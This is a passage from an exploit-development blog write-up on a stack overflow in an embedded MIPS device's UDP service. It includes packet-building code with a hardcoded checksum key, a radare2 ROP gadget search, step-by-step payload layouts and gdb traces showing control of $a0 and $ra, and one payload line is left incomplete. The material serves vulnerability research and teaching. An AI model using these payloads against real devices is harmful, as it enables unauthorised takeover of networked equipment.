payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"
packet = checksum + padding + payload
m = hashlib.md5()
m.update(header + packet)
key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
m.update(key)
checksum = m.digest()

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(header + checksum + padding + payload, (host, port))

         We control the jump but… jump to where? We do not have any memory reference where our shellcode is. Instead of that we can try find a gadget that let us set a custom $ra and $a0 (if $ra and $a0 are values taken from the stack we can do something like dangerous_function(“whatever”)). A quick search with radare2 shows us a good candidate:

[0x004027b0]> "/R/ addiu a0;j* ra"
  0x004154d4           27a40018  addiu a0, sp, 0x18
  0x004154d8           8fbc0010  lw gp, 0x10(sp)
  0x004154dc           8fbf0030  lw ra, 0x30(sp)
  0x004154e0           03e00008  jr ra
  0x004154e4           27bd0038  addiu sp, sp, 0x38

         The register $a0 takes his value from the stack and $ra too, plus a jump to $ra. It is perfect! Put it together:

payload = "A" * 95 # Padding 1
payload += "\x00\x41\x54\xd4" #  0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
# 881
payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"

         Test it (put a breakpoint at 0x4154e0, where it takes the jump):

(gdb) x/i $pc
=> 0x4154e0 <__floatsidf+64>:   jr      ra
   0x4154e4 <__floatsidf+68>:   addiu   sp,sp,56
(gdb) x/wx $a0
0x76fff550:     0x416f4141
(gdb) x/wx $ra
0x41774141:     Cannot access memory at address 0x41774141

         Whooooho! Exactly as we wanted. Just edit the payload to

payload = "A" * 95 # Padding 1
payload += "\x00\x41\x54\xd4" #  0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
payload += "A" * 4 # Padding 3
payload += "B" * 4 #Value that will take $a0
payload += "A" * 20 # Padding 4
payload += "C" * 4 #Value for $ra

         Fire in the hole!

(gdb) x/i $pc                
=> 0x4154e0 <__floatsidf+64>:   jr      ra                                                                              
   0x4154e4 <__floatsidf+68>:   addiu   sp,sp,56                                                                        
(gdb) x/wx $a0               
0x76fff550:     0x42424242   
(gdb) x/i $ra                
   0x43434343:  Cannot access memory at address 0x43434342    

         So we can call any function in the scope of our binary with an argument controlled by us. Continue this PoC is left as an exercise for the reader… but keep something in mind: the gadget used by us modify $gp (lw gp, 0x10(sp)). At 0x10 is the address used to bypass the crash, so in order to set other address we can build our payload with a small jump backwards and use addiu sp, sp, 0xc0 at 0x0040b8a0. So our payload will looks more like:

payload = "A" * 95 # Padding 1
payload += "\x00\x40\xb8\x98" # Short jump backwards
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
payload += "D" * 168 # Padding 3
payload += "\x00\x41\x54\xd4" #  0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
payload += "E" * 12 # Padding 4
payload += "X" *  # Value for $gp, change it if needed.
payload += "F" * 4 # Padding 5
payload += "Y" * 4 # Value for $a0
payload += "G" * 4 # Padding 6
payload += "Z" * 4 # Value for $ra

0x06 Final words

         This summer research in embedded devices had some cool results like this vulnerability, but more important: it was a nice way to learn more about exploiting and vulnerability hunting. If you find useful this article, or wanna point me to an error or a typo (keep in mind that I am new at this, so any tip is really welcome!), feel free to contact me at twitter @TheXC3LL.

         Kudos to Pedro “P3r1k0” Guillén and his wicked sleep schedule.